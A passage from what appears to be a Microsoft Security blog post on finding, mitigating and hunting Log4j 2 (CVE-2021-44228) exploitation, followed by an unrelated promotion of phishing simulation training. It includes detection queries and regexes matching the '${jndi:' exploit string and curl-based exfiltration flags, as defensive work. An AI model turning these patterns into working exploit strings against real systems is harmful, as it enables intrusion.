These capabilities integrate with the existing threat and vulnerability management experience and are gradually rolling out. As of December 27, 2021, discovery is based on installed application CPEs that are known to be vulnerable to Log4j RCE, as well as the presence of vulnerable Log4j Java Archive (JAR) files.

As of January 20, 2022, threat and vulnerability management can discover vulnerable Log4j libraries, including Log4j files and other files containing Log4j, packaged into Uber-JAR files. This capability is supported on Windows 10, Windows 11, Windows Server 2019, and Windows Server 2022. It is also supported on Windows Server 2012 R2 and Windows Server 2016 using the Microsoft Defender for Endpoint solution for earlier Windows server versions.

Threat and vulnerability management provides layers of detection to help customers discover and mitigate vulnerable Log4j components. Specifically, it:

1. determines if a JAR file contains a vulnerable Log4j file by examining JAR files and searching for the following file: \META-INF\maven\org.apache.logging.log4j\log4j-core\pom.properties; if the said file exists, the Log4j version is read and extracted 
2. searches for the JndiLookup.class file inside the JAR file by looking for paths that contain the string “/log4j/core/lookup/JndiLookup.class”; if the JndiLookup.class file exists, threat and vulnerability management determines if this JAR contains a Log4j file with the version defined in pom.properties 
3. searches for any vulnerable Log4j-core JAR files embedded within nested-JAR by searching for paths that contain any of these strings:
   • lib/log4j-core- 
   • WEB-INF/lib/log4j-core- 
   • App-INF/lib/log4j-core- 

Figure 1. Threat and Vulnerability recommendation “Attention required: Devices found with vulnerable Apache Log4j versions”

In the Microsoft 365 Defender portal, go to Vulnerability management > Dashboard > Threat awareness, then click View vulnerability details to see the consolidated view of organizational exposure to the Log4j 2 vulnerability (for example, CVE-2021-44228 dashboard, as shown in the following screenshots) on the device, software, and vulnerable component level.

Figure 2. Threat and vulnerability management dedicated CVE-2021-44228 dashboard

Figure 3. Threat and vulnerability management finds exposed paths

Figure 4. Threat and vulnerability management finds exposed devices based on vulnerable software and vulnerable files detected on disk

Note: Scan results may take some time to reach full coverage, and the number of discovered devices may be low at first but will grow as the scan reaches more devices. A regularly updated list of vulnerable products can be viewed in the Microsoft 365 Defender portal with matching recommendations. We will continue to review and update this list as new information becomes available.

Through device discovery, unmanaged devices with products and services affected by the vulnerabilities are also surfaced so they can be onboarded and secured.

Figure 5. Finding vulnerable applications and devices via software inventory

Applying mitigation directly in the Microsoft 365 Defender portal

We have released two new threat and vulnerability management capabilities that can significantly simplify the process of turning off JNDI lookup, a workaround that can prevent the exploitation of the Log4j vulnerabilities on most devices, using an environment variable called LOG4J_FORMAT_MSG_NO_LOOKUPS. These new capabilities provide security teams with the following:

1. View the mitigation status for each affected device. This can help prioritize mitigation and/or patching of devices based on their mitigation status.

To use this feature, open the Exposed devices tab in the dedicated CVE-2021-44228 dashboard and review the Mitigation status column. Note that it may take a few hours for the updated mitigation status of a device to be reflected.

Figure 6. Viewing each device’s mitigation status

2. Apply the mitigation (that is, turn off JNDI lookup) on devices directly from the portal. This feature is currently available for Windows devices only.

The mitigation will be applied directly via the Microsoft Defender for Endpoint client. To view the mitigation options, click on the Mitigation options button in the Log4j dashboard:

You can choose to apply the mitigation to all exposed devices or select specific devices for which you would like to apply it. To complete the process and apply the mitigation on devices, click Create mitigation action.

Figure 7. Creating mitigation actions for exposed devices.

In cases where the mitigation needs to be reverted, follow these steps:

1. Open an elevated PowerShell window
2. Run the following command:

[Environment]::SetEnvironmentVariable("LOG4J_FORMAT_MSG_NO_LOOKUPS", $null, [EnvironmentVariableTarget]::Machine)

The change will take effect after the device restarts.

Microsoft 365 Defender advanced hunting

Advance hunting can also surface affected software. This query looks for possibly vulnerable applications using the affected Log4j component. Triage the results to determine applications and programs that may need to be patched and updated.

DeviceTvmSoftwareInventory
| where SoftwareName contains "log4j"
| project DeviceName, SoftwareName, SoftwareVersion

Figure 8. Finding vulnerable software via advanced hunting

Microsoft Defender for Cloud

Microsoft Defender for servers

Organizations using Microsoft Defender for Cloud can use Inventory tools to begin investigations before there’s a CVE number. With Inventory tools, there are two ways to determine exposure across hybrid and multi-cloud resources:

• Vulnerability assessment findings – Organizations who have enabled any of the vulnerability assessment tools (whether it’s Microsoft Defender for Endpoint’s threat and vulnerability management module, the built-in Qualys scanner, or a bring your own license solution), they can search by CVE identifier:

Figure 9. Searching vulnerability assessment findings by CVE identifier

• Software inventory – With the combined integration with Microsoft Defender for Endpoint and Microsoft Defender for servers, organizations can search for resources by installed applications and discover resources running the vulnerable software:

Figure 10. Searching software inventory by installed applications

Note that this doesn’t replace a search of your codebase. It’s possible that software with integrated Log4j libraries won’t appear in this list, but this is helpful in the initial triage of investigations related to this incident. For more information about how Microsoft Defender for Cloud finds machines affected by CVE-2021-44228, read this tech community post.

Microsoft Defender for Containers

Microsoft Defender for Containers is capable of discovering images affected by the vulnerabilities recently discovered in Log4j 2: CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105. Images are automatically scanned for vulnerabilities in three different use cases: when pushed to an Azure container registry, when pulled from an Azure container registry, and when container images are running on a Kubernetes cluster. Additional information on supported scan triggers and Kubernetes clusters can be found here. 

Log4j binaries are discovered whether they are deployed via a package manager, copied to the image as stand-alone binaries, or included within a JAR Archive (up to one level of nesting). 

We will continue to follow up on any additional developments and will update our detection capabilities if any additional vulnerabilities are reported.

Finding affected images

To find vulnerable images across registries using the Azure portal, navigate to the Microsoft Defender for Cloud service under Azure Portal. Open the Container Registry images should have vulnerability findings resolved recommendation and search findings for the relevant CVEs. 

Figure 11. Finding images with the CVE-2021-45046 vulnerability 

Find vulnerable running images on Azure portal [preview] 

To view only vulnerable images that are currently running on a Kubernetes cluster using the Azure portal, navigate to the Microsoft Defender for Cloud service under Azure Portal. Open the Vulnerabilities in running container images should be remediated (powered by Qualys) recommendation and search findings for the relevant CVEs: 

Figure 12. Finding running images with the CVE-2021-45046 vulnerability

Note: This recommendation requires clusters to run Microsoft Defender security profile to provide visibility on running images.

Search Azure Resource Graph data 

Azure Resource Graph (ARG) provides instant access to resource information across cloud environments with robust filtering, grouping, and sorting capabilities. It’s a quick and efficient way to query information across Azure subscriptions programmatically or from within the Azure portal. ARG provides another way to query resource data for resources found to be affected by the Log4j vulnerability.

The following query finds resources affected by the Log4j vulnerability across subscriptions. Use the additional data field across all returned results to obtain details on vulnerable resources: 

securityresources 
| where type =~ "microsoft.security/assessments/subassessments"
| extend assessmentKey=extract(@"(?i)providers/Microsoft.Security/assessments/([^/]*)", 1, id), subAssessmentId=tostring(properties.id), parentResourceId= extract("(.+)/providers/Microsoft.Security", 1, id)
| extend Props = parse_json(properties)
| extend additionalData = Props.additionalData
| extend cves = additionalData.cve
| where isnotempty(cves) and array_length(cves) > 0
| mv-expand cves
| where tostring(cves) has "CVE-2021-44228" or tostring(cves) has "CVE-2021-45046" or tostring(cves) has "CVE-2021-45105" 

Microsoft Sentinel queries

Microsoft Sentinel customers can use the following detection query to look for devices that have applications with the vulnerability:

• Vulnerable machines related to Log4j CVE-2021-44228

This query uses the Microsoft Defender for Cloud nested recommendations data to find machines vulnerable to Log4j CVE-2021-44228.

Microsoft Sentinel also provides a CVE-2021-44228 Log4Shell Research Lab Environment for testing the vulnerability: https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell

RiskIQ EASM and Threat Intelligence

RiskIQ has published a few threat intelligence articles on this CVE, with mitigation guidance and IOCs. The latest one with links to previous articles can be found here. Both Community users and enterprise customers can search within the threat intelligence portal for data about potentially vulnerable components exposed to the Internet. For example, it’s possible to surface all observed instances of Apache or Java, including specific versions. Leverage this method of exploration to aid in understanding the larger Internet exposure, while also filtering down to what may impact you. 

For a more automated method, registered users can view their attack surface to understand tailored findings associated with their organization. Note, you must be registered with a corporate email and the automated attack surface will be limited. Digital Footprint customers can immediately understand what may be vulnerable and act swiftly and resolutely using the Attack Surface Intelligence Dashboard Log4J Insights tab. 

Detecting and responding to exploitation attempts and other related attacker activity

Microsoft 365 Defender

Microsoft 365 Defender coordinates multiple security solutions that detect components of observed attacks taking advantage of this vulnerability, from exploitation attempts to remote code execution and post-exploitation activity.

Figure 13. Microsoft 365 Defender solutions protect against related threats

Customers can click Need help? in the Microsoft 365 Defender portal to open up a search widget. Customers can key in “Log4j” to search for in-portal resource, check if their network is affected, and work on corresponding actionable items to mitigate them.

Microsoft Defender Antivirus

Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block the majority of new and unknown variants. Microsoft Defender Antivirus detects components and behaviors related to this threat as the following detection names:

On Windows:

• Trojan:Win32/Capfetox.AA– detects attempted exploitation on the attacker machine
• HackTool:Win32/Capfetox.A!dha – detects attempted exploitation on the attacker machine
• VirTool:Win64/CobaltSrike.A, TrojanDropper:PowerShell/Cobacis.A – detects Cobalt Strike Beacon loaders
• TrojanDownloader:Win32/CoinMiner – detects post-exploitation coin miner
• Trojan:Win32/WebToos.A – detects post-exploitation PowerShell
• Ransom:MSIL/Khonsari.A – detects a strain of the Khonsari ransomware family observed being distributed post-exploitation
• Trojan:Win64/DisguisedXMRigMiner – detects post-exploitation cryptocurrency miner
• TrojanDownloader:Java/Agent.S – detects suspicious class files used in post-exploitation
• TrojanDownloader:PowerShell/NitSky.A – detects attempts to download CobaltStrike Beacon payload

On Linux:

• Trojan:Linux/SuspectJavaExploit.A, Trojan:Linux/SuspectJavaExploit.B, Trojan:Linux/SuspectJavaExploit.C – blocks Java processes downloading and executing payload through output redirection
• Trojan:Linux/BashMiner.A – detects post-exploitation cryptocurrency miner
• TrojanDownloader:Linux/CoinMiner – detects post-exploitation cryptocurrency miner
• TrojanDownloader:Linux/Tusnami – detects post-exploitation Backdoor Tsunami downloader
• Backdoor:Linux/Tusnami.C – detects post-exploitation Tsunami backdoor
• Backdoor:Linux/Setag.C – detects post-exploitation Gates backdoor
• Exploit:Linux/CVE-2021-44228.A, Exploit:Linux/CVE-2021-44228.B – detects exploitation
• TrojanDownloader:Linux/Capfetox.A, TrojanDownloader:Linux/Capfetox.B
• TrojanDownloader:Linux/ShAgnt!MSR, TrojanDownloader:Linux/ShAgnt.A!MTB
• Trojan:Linux/Kinsing.L – detects post-exploitation cryptocurrency Kinsing miner
• Trojan:Linux/Mirai.TS!MTB – detects post-exploitation Mirai malware capable of performing DDoS
• Backdoor:Linux/Dakkatoni.az!MTB – detects post-exploitation Dakkatoni backdoor trojan capable of downloading more payloads
• Trojan:Linux/JavaExploitRevShell.A – detects reverse shell attack post-exploitation
• Trojan:Linux/BashMiner.A, Trojan:Linux/BashMiner.B – detects post-exploitation cryptocurrency miner

Microsoft Defender for Endpoint

Users of Microsoft Defender for Endpoint can turn on the following attack surface reduction rule to block or audit some observed activity associated with this threat.

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion

Due to the broad network exploitation nature of vectors through which this vulnerability can be exploited and the fact that applying mitigations holistically across large environments will take time, we encourage defenders to look for signs of post-exploitation rather than fully relying on prevention. Observed post exploitation activity such as coin mining, lateral movement, and Cobalt Strike are detected with behavior-based detections.

Alerts with the following titles in the Security Center indicate threat activity related to exploitation of the Log4j vulnerability on your network and should be immediately investigated and remediated. These alerts are supported on both Windows and Linux platforms: 

• Log4j exploitation detected – detects known behaviors that attackers perform following successful exploitation of the CVE-2021-44228 vulnerability
• Log4j exploitation artifacts detected (previously titled Possible exploitation of CVE-2021-44228) – detects coin miners, shells, backdoor, and payloads such as Cobalt Strike used by attackers post-exploitation
• Log4j exploitation network artifacts detected (previously titled Network connection seen in CVE-2021-44228 exploitation) – detects network traffic connecting traffic connecting to an address associated with CVE-2021-44228 scanning or exploitation activity 

The following alerts may indicate exploitation attempts or testing/scanning activity. Microsoft advises customers to investigate with caution, as these alerts don’t necessarily indicate successful exploitation:

• Possible target of Log4j exploitation – detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication received by this device
• Possible target of Log4j vulnerability scanning – detects a possible attempt to scan for the remote code execution vulnerability in a Log4j component of an Apache server in communication received by this device
• Possible source of Log4j exploitation – detects a possible attempt to exploit the remote code execution vulnerability in the Log4j component of an Apache server in communication initiated from this device  
• Possible Log4j exploitation – detects multiple behaviors, including suspicious command launch post-exploitation
• Possible Log4j exploitation (CVE-2021-44228) – inactive, initially covered several of the above, now replaced with more specific titles

The following alerts detect activities that have been observed in attacks that utilize at least one of the Log4j vulnerabilities. However, these alerts can also indicate activity that is not related to the vulnerability. We are listing them here, as it is highly recommended that they are triaged and remediated immediately given their severity and the potential that they could be related to Log4j exploitation:

• Suspicious remote PowerShell execution 
• Download of file associated with digital currency mining 
• Process associated with digital currency mining 
• Cobalt Strike command and control detected 
• Suspicious network traffic connection to C2 Server 
• Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike) 

Some of the alerts mentioned above utilize the enhanced network inspection capabilities in Microsoft Defender for Endpoint. These alerts correlate several network and endpoint signals into high-confidence detection of successful exploitation, as well as providing detailed evidence artifacts valuable for triage and investigation of detected activities.

Figure 14. Example detection leveraging network inspection provides details about the Java class returned following successful exploitation

Microsoft Defender for Cloud Apps (previously Microsoft Cloud App Security)

Microsoft 365 Defender detects exploitation patterns in different data sources, including cloud application traffic reported by Microsoft Defender for Cloud Apps. The following alert surfaces exploitation attempts via cloud applications that use vulnerable Log4j components:

• Log4j exploitation attempt via cloud application (previously titled Exploitation attempt against Log4j (CVE-2021-44228))

Figure 15. Microsoft 365 Defender alert “Exploitation attempt against Log4j (CVE-2021-44228)”

Microsoft Defender for Office 365

To add a layer of protection against exploits that may be delivered via email, Microsoft Defender for Office 365 flags suspicious emails (e.g., emails with the “jndi” string in email headers or the sender email address field), which are moved to the Junk folder.

We also added the following new alert, which detects attempts to exploit CVE-2021-44228 through email headers:

• Log4j exploitation attempt via email (previously titled Log4j Exploitation Attempt – Email Headers (CVE-2021-44228))

Figure 16. Sample alert on malicious sender display name found in email correspondence

This detection looks for exploitation attempts in email headers, such as the sender display name, sender, and recipient addresses. The alert covers known obfuscation attempts that have been observed in the wild. If this alert is surfaced, customers are recommended to evaluate the source address, email subject, and file attachments to get more context regarding the authenticity of the email.

Figure 17. Sample email with malicious sender display name

In addition, this email event as can be surfaced via advanced hunting:

Figure 18. Sample email event surfaced via advanced hunting

Microsoft 365 Defender advanced hunting queries

To locate possible exploitation activity, run the following queries:

Possible malicious indicators in cloud application events

This query is designed to flag exploitation attempts for cases where the attacker is sending the crafted exploitation string using vectors such as User-Agent, Application or Account name. The hits returned from this query are most likely unsuccessful attempts, however the results can be useful to identity attackers’ details such as IP address, Payload string, Download URL, etc.

CloudAppEvents
| where Timestamp > datetime("2021-12-09")
| where UserAgent contains "jndi:" 
or AccountDisplayName contains "jndi:"
or Application contains "jndi:"
or AdditionalFields contains "jndi:"
| project ActionType, ActivityType, Application, AccountDisplayName, IPAddress, UserAgent, AdditionalFields

Alerts related to Log4j vulnerability

This query looks for alert activity pertaining to the Log4j vulnerability.

AlertInfo
| where Title in~('Suspicious script launched',
'Exploitation attempt against Log4j (CVE-2021-44228)',
'Suspicious process executed by a network service',
'Possible target of Log4j exploitation (CVE-2021-44228)',
'Possible target of Log4j exploitation',
'Possible Log4j exploitation',
'Network connection seen in CVE-2021-44228 exploitation',
'Log4j exploitation detected',
'Possible exploitation of CVE-2021-44228',
'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',
'Possible source of Log4j exploitation',
'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j
'Log4j exploitation attempt via email' // Previously titled Log4j Exploitation Attempt
)

Devices with Log4j vulnerability alerts and additional other alert-related context

This query surfaces devices with Log4j-related alerts and adds additional context from other alerts on the device.  

// Get any devices with Log4J related Alert Activity
let DevicesLog4JAlerts = AlertInfo
| where Title in~('Suspicious script launched',
'Exploitation attempt against Log4j (CVE-2021-44228)',
'Suspicious process executed by a network service',
'Possible target of Log4j exploitation (CVE-2021-44228)',
'Possible target of Log4j exploitation',
'Possible Log4j exploitation',
'Network connection seen in CVE-2021-44228 exploitation',
'Log4j exploitation detected',
'Possible exploitation of CVE-2021-44228',
'Possible target of Log4j vulnerability (CVE-2021-44228) scanning',
'Possible source of Log4j exploitation'
'Log4j exploitation attempt via cloud application', // Previously titled Exploitation attempt against Log4j
'Log4j exploitation attempt via email' // Previouskly titled Log4j Exploitation Attempt
)
// Join in evidence information
| join AlertEvidence on AlertId
| where DeviceId != ""
| summarize by DeviceId, Title;
// Get additional alert activity for each device
AlertEvidence
| where DeviceId in(DevicesLog4JAlerts)
// Add additional info
| join kind=leftouter AlertInfo on AlertId
| summarize DeviceAlerts = make_set(Title), AlertIDs = make_set(AlertId) by DeviceId, bin(Timestamp, 1d)

Suspected exploitation of Log4j vulnerability

This query looks for exploitation of the vulnerability using known parameters in the malicious string. It surfaces exploitation but may surface legitimate behavior in some environments.

DeviceProcessEvents
| where ProcessCommandLine has_all('${jndi') and ProcessCommandLine has_any('ldap', 'ldaps', 'http', 'rmi', 'dns', 'iiop')
//Removing FPs 
| where not(ProcessCommandLine has_any('stackstorm', 'homebrew')) 

Regex to identify malicious exploit string

This query looks for the malicious string needed to exploit this vulnerability.

DeviceProcessEvents
| where ProcessCommandLine matches regex @'(?i)\$\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\/\/(\$\{([a-z]){1,20}:([a-z]){1,20}\})?(([a-zA-Z0-9]|-){2,100})?(\.([a-zA-Z0-9]|-){2,100})?\.([a-zA-Z0-9]|-){2,100}\.([a-z0-9]){2,20}(\/).*}'     
or InitiatingProcessCommandLine matches regex @'(?i)\$\{jndi:(ldap|http|https|ldaps|dns|rmi|iiop):\/\/(\$\{([a-z]){1,20}:([a-z]){1,20}\})?(([a-zA-Z0-9]|-){2,100})?(\.([a-zA-Z0-9]|-){2,100})?\.([a-zA-Z0-9]|-){2,100}\.([a-z0-9]){2,20}(\/).*}'

Suspicious process event creation from VMWare Horizon TomcatService

This query identifies anomalous child processes from the ws_TomcatService.exe process associated with the exploitation of the Log4j vulnerability in VMWare Horizon installations. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.

DeviceProcessEvents
| where InitiatingProcessFileName has "ws_TomcatService.exe"
| where FileName != "repadmin.exe"

Suspicious JScript staging comment

This query identifies a unique string present in malicious PowerShell commands attributed to threat actors exploiting vulnerable Log4j applications. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.

DeviceProcessEvents
| where FileName has "powershell.exe"
| where ProcessCommandLine has "VMBlastSG"

Suspicious PowerShell curl flags

This query identifies unique, uncommon PowerShell flags used by curl to post the results of an attacker-executed command back to the command-and-control infrastructure. If the event is a true positive, the contents of the “Body” argument are Base64-encoded results from an attacker-issued comment. These events warrant further investigation to determine if they are in fact related to a vulnerable Log4j application.

DeviceProcessEvents
| where FileName has "powershell.exe"
| where ProcessCommandLine has_all("-met", "POST", "-Body")

Microsoft Defender for Cloud

Microsoft Defender for Cloud’s threat detection capabilities have been expanded to surface exploitation of CVE-2021-44228 in several relevant security alerts:

On Windows:

• Detected obfuscated command line
• Suspicious use of PowerShell detected

On Linux:

• Suspicious file download
• Possible Cryptocoinminer download detected
• Process associated with digital currency mining detected
• Potential crypto coin miner started
• A history file has been cleared
• Suspicious Shell Script Detected
• Suspicious domain name reference
• Digital currency mining related behavior detected
• Behavior similar to common Linux bots detected

Microsoft Defender for IoT

Microsoft Defender for IoT has released a dedicated threat Intelligence update package for detecting Log4j 2 exploit attempts on the network (example below).  

Figure 19. Microsoft Defender for IoT alert 

The package is available for download from the Microsoft Defender for IoT portal (Click Updates, then Download file (MD5: 4fbc673742b9ca51a9721c682f404c41).  

Figure 20. Microsoft Defender for IoT sensor threat intelligence update

Microsoft Defender for IoT now pushes new threat intelligence packages to cloud-connected sensors upon release, click here for more information. Starting with sensor version 10.3, users can automatically receive up-to-date threat intelligence packages through Microsoft Defender for IoT.

Working with automatic updates reduces operational effort and ensures greater security. Enable automatic updating on the Defender for IoT portal by onboarding your cloud-connected sensor with the toggle for Automatic Threat Intelligence Updates turned on. For more information about threat intelligence packages in Defender for IoT, please refer to the documentation.

Microsoft Sentinel

A new Microsoft Sentinel solution has been added to the Content Hub that provides a central place to install Microsoft Sentinel specific content to monitor, detect, and investigate signals related to exploitation of the CVE-2021-44228 vulnerability.

Figure 21. Log4j Vulnerability Detection solution in Microsoft Sentinel

To deploy this solution, in the Microsoft Sentinel portal, select Content hub (Preview) under Content Management, then search for Log4j in the search bar. Select the Log4j vulnerability detection solution, and click Install. Learn how to centrally discover and deploy Microsoft Sentinel out-of-the-box content and solutions.

Figure 22. Microsoft Sentinel Analytics showing detected Log4j vulnerability

Note: We recommend that you check the solution for updates periodically, as new collateral may be added to this solution given the rapidly evolving situation. This can be verified on the main Content hub page.

Microsoft Sentinel queries

Microsoft Sentinel customers can use the following detection queries to look for this activity:

• Possible exploitation of Apache Log4j component detected

This hunting query looks for possible attempts to exploit a remote code execution vulnerability in the Log4j component of Apache. Attackers may attempt to launch arbitrary code by passing specific commands to a server, which are then logged and executed by the Log4j component.

• Cryptocurrency miners EXECVE

This query hunts through EXECVE syslog data generated by AUOMS to find instances of cryptocurrency miners being downloaded. It returns a table of suspicious command lines.

• Azure WAF Log4j CVE-2021-44228 hunting

This hunting query looks in Azure Web Application Firewall data to find possible exploitation attempts for CVE-2021-44228 involving Log4j vulnerability.

• Log4j vulnerability exploit aka Log4Shell IP IOC

This hunting query identifies a match across various data feeds for IP IOCs related to the Log4j exploit described in CVE-2021-44228.

• Suspicious shell script detected

This hunting query helps detect post-compromise suspicious shell scripts that attackers use for downloading and executing malicious files. This technique is often used by attackers and was recently used to exploit the vulnerability in Log4j component of Apache to evade detection and stay persistent or for more exploitation in the network.

• Azure WAF matching for CVE-2021-44228 Log4j vulnerability

This query alerts on a positive pattern match by Azure WAF for CVE-2021-44228 Log4j exploitation attempt. If possible, it then decodes the malicious command for further analysis.

• Suspicious Base64 download activity detected

This hunting query helps detect suspicious encoded Base64 obfuscated scripts that attackers use to encode payloads for downloading and executing malicious files. This technique is often used by attackers and was recently used to the Log4j vulnerability in order to evade detection and stay persistent in the network.

• Linux security-related process termination activity detected

This query alerts on attempts to terminate processes related to security monitoring. Attackers often try to terminate such processes post-compromise as seen recently to exploit the CVE-2021-44228 vulnerability.

• Suspicious manipulation of firewall detected via Syslog data

This query uses syslog data to alert on any suspicious manipulation of firewall to evade defenses. Attackers often perform such operations as seen recently to exploit the CVE-2021-44228 vulnerability for C2 communications or exfiltration.

• User agent search for Log4j exploitation attempt

This query uses various log sources having user agent data to look for CVE-2021-44228 exploitation attempt based on user agent pattern.

• Network connections to LDAP port for CVE-2021-44228 vulnerability

This hunting query looks for connection to LDAP port to find possible exploitation attempts for CVE-2021-44228.

• Linux toolkit detected

This query uses syslog data to alert on any attack toolkits associated with massive scanning or exploitation attempts against a known vulnerability

• Container miner activity

This query uses syslog data to alert on possible artifacts associated with containers running images related to digital cryptocurrency mining.

• Network connection to new external LDAP server

This query looks for outbound network connections using the LDAP protocol to external IP addresses, where that IP address has not had an LDAP network connection to it in the 14 days preceding the query timeframe. This could indicate someone exploiting a vulnerability such as CVE-2021-44228 to trigger the connection to a malicious LDAP server.

Azure Firewall Premium 

Customers using Azure Firewall Premium have enhanced protection from the Log4j RCE CVE-2021-44228 vulnerability and exploit. Azure Firewall premium IDPS (Intrusion Detection and Prevention System) provides IDPS inspection for all east-west traffic and outbound traffic to internet. The vulnerability rulesets are continuously updated and include CVE-2021-44228 vulnerability for different scenarios including UDP, TCP, HTTP/S protocols since December 10th, 2021. Below screenshot shows all the scenarios which are actively mitigated by Azure Firewall Premium.

Recommendation: Customers are recommended to configure Azure Firewall Premium with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against CVE-2021-44228 exploit.  

Figure 23. Azure Firewall Premium portal

Customers using Azure Firewall Standard can migrate to Premium by following these directions. Customers new to Azure Firewall premium can learn more about Firewall Premium.

Azure Web Application Firewall (WAF)

In response to this threat, Azure Web Application Firewall (WAF) has updated Default Rule Set (DRS) versions 1.0/1.1 available for Azure Front Door global deployments, and OWASP ModSecurity Core Rule Set (CRS) version 3.0/3.1 available for Azure Application Gateway V2 regional deployments.

To help detect and mitigate the Log2Shell vulnerability by inspecting requests’ headers, URI, and body, we have released the following:

• For Azure Front Door deployments, we have updated the rule 944240 “Remote Command Execution” under Managed Rules
• For Azure Application Gateway V2 regional deployments, we have introduced a new rule Known-CVEs/800100 in the rule group Known-CVEs under Managed Rules

These rules are already enabled by default in block mode for all existing WAF Default Rule Set (DRS) 1.0/1.1 and OWASP ModSecurity Core Rule Set (CRS) 3.0/3.1 configurations. Customers using WAF Managed Rules would have already received enhanced protection for Log4j 2 vulnerabilities (CVE-2021-44228 and CVE-2021-45046); no additional action is needed.

Recommendation: Customers are recommended to enable WAF policy with Default Rule Set 1.0/1.1 on their Front Door deployments, or with OWASP ModSecurity Core Rule Set (CRS) versions 3.0/3.1 on Application Gateway V2 to immediately enable protection from this threat, if not already enabled. For customers who have already enabled DRS 1.0/1.1 or CRS 3.0/3.1, no action is needed. We will continue to monitor threat patterns and modify the above rule in response to emerging attack patterns as required.

Figure 24. Remote Code Execution rule for Default Rule Set (DRS) versions 1.0/1.1 

Figure 25. Remote Code Execution rule for OWASP ModSecurity Core Rule Set (CRS) version 3.1

Note: The above protection is also available on Default Rule Set (DRS) 2.0 preview version and OWASP ModSecurity Core Rule Set (CRS) 3.2 preview version, which are available on Azure Front Door Premium and Azure Application Gateway V2 respectively. Customers using Azure CDN Standard from Microsoft can also turn on the above protection by enabling DRS 1.0.

More information about Managed Rules and Default Rule Set (DRS) on Azure Web Application Firewall can be found here. More information about Managed Rules and OWASP ModSecurity Core Rule Set (CRS) on Azure Web Application Firewall can be found here.

Indicators of compromise (IOCs)

Microsoft Threat Intelligence Center (MSTIC) has provided a list of IOCs related to this attack and will update them with new indicators as they are discovered: https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample Data/Feeds/Log4j_IOC_List.csv

Microsoft will continue to monitor this dynamic situation and will update this blog as new threat intelligence and detections/mitigations become available.

Revision history

[01/21/2022] – Threat and vulnerability management can now discover vulnerable Log4j libraries, including Log4j files and other files containing Log4j, packaged into Uber-JAR files.

[01/19/2022] New information about an unrelated vulnerability we discovered while investigating Log4j attacks

[01/11/2022] New threat and vulnerability management capabilities to apply mitigation directly from the portal, as well as new advanced hunting queries

[01/10/2022] Added new information about a China-based ransomware operator targeting internet-facing systems and deploying the NightSky ransomware

[01/07/2022] Added a new rule group in Azure Web Application Firewall (WAF)

[12/27/2021] New capabilities in threat and vulnerability management including a new advanced hunting schema and support for Linux, which requires updating the Microsoft Defender for Linux client; new Microsoft Defender for Containers solution.

[12/22/2021] Added new protections across Microsoft 365 Defender, including Microsoft Defender for Office 365.

[12/21/2021] Added a note on testing services and assumed benign activity and additional guidance to use the Need help? button in the Microsoft 365 Defender portal.

[12/17/2021] New updates to observed activity, including more information about limited ransomware attacks and additional payloads; additional updates to protections from Microsoft 365 Defender and Azure Web Application Firewall (WAF), and new Microsoft Sentinel queries.

[12/16/2021] New Microsoft Sentinel solution and additional Microsoft Defender for Endpoint detections.

[12/15/2021] Details about ransomware attacks on non-Microsoft hosted Minecraft servers, as well as updates to product guidance, including threat and vulnerability management.

[12/14/2021] New insights about multiple threat actors taking advantage of this vulnerability, including nation-state actors and access brokers linked to ransomware.

The post Guidance for preventing, detecting, and hunting for exploitation of the Log4j 2 vulnerability appeared first on Microsoft Security Blog.

Attack Simulation Training helps mitigate phishing risk

Microsoft has been working hard to understand these types of attacks and create solutions that help prevent, detect, and remediate vulnerability at the most basic point of attack: the user. Attack Simulation Training is one of those solutions. Attack Simulation Training is included in Microsoft Defender for Office 365 Plan 2 and E5 offerings and provides a behavior-based solution to mitigate phishing risk across your organization. It provides the necessary tools to run intelligent simulations and measure users for a baseline awareness of phishing risk, provide actionable insights and recommendations to remediate risk with hyper-targeted training designed to change behavior, and then measure behavioral progress against that benchmark through repeated simulation. This all happens straight from the Microsoft 365 Defender portal.

Attack Simulation Training was released as part of Microsoft Defender for Office 365 to ensure customers had a complete prevent, detect, investigate, and respond solution. Other offerings may only provide a portion of these capabilities. Microsoft Defender for Office 365 offers essential threat investigation and response capabilities to keep malicious communication from reaching users’ inboxes, and Attack Simulation Training provides the ability to test where vulnerabilities lie in your organization and reduce your phish risk score by educating users with a vast library of trainings. Together, both Microsoft Defender for Office 365 and Attack Simulation Training can prevent a future data compromise saving your organization time and unexpected costs.

Through Attack Simulation Training’s intelligent automation, you can target your simulations by setting custom criteria and creating tailored payloads to fit your business. Additionally, you can leverage hundreds of premade email payloads in the template library that were modeled on real phishing attempts. After you run simulations, you’ll get several training options of content by Terranova Security that includes a variety of tailored courses, micro learnings, and nano learnings available in over 20 different languages. If you haven’t already, try Attack Simulation Training and learn how to set up a new phish simulation in this two-part blog series.

Learn more

At Microsoft, we keep our customers top of mind when making product investment decisions. Since we announced Attack Simulation Training at Ignite in 2020, we have made significant investments to ensure our customers have the best email simulation and training platform for their businesses. Two key investment areas that the product team recently made were:

1. The ability for customers to access all the data that they have through Graph API reads. Learn more in our Tech Community blog post.
2. The ability for organizations to customize anything on the landing page and make it their own, including adding their own branding. Read our blog post here.

You can also read more about Attack Simulation Training’s new regional availability and access all the latest product updates in the Attack Simulation Training blog series.

Watch our overview video of Attack Simulation Training to get a better feel of the user interface and some of its key reporting and insights capabilities.

Try Attack Simulation Training straight from the Microsoft 365 Defender portal and learn how to get started today!

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

¹HAFNIUM targeting Exchange Servers with 0-day exploits, Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, Microsoft 365 Security, Microsoft. 2 March 2021.

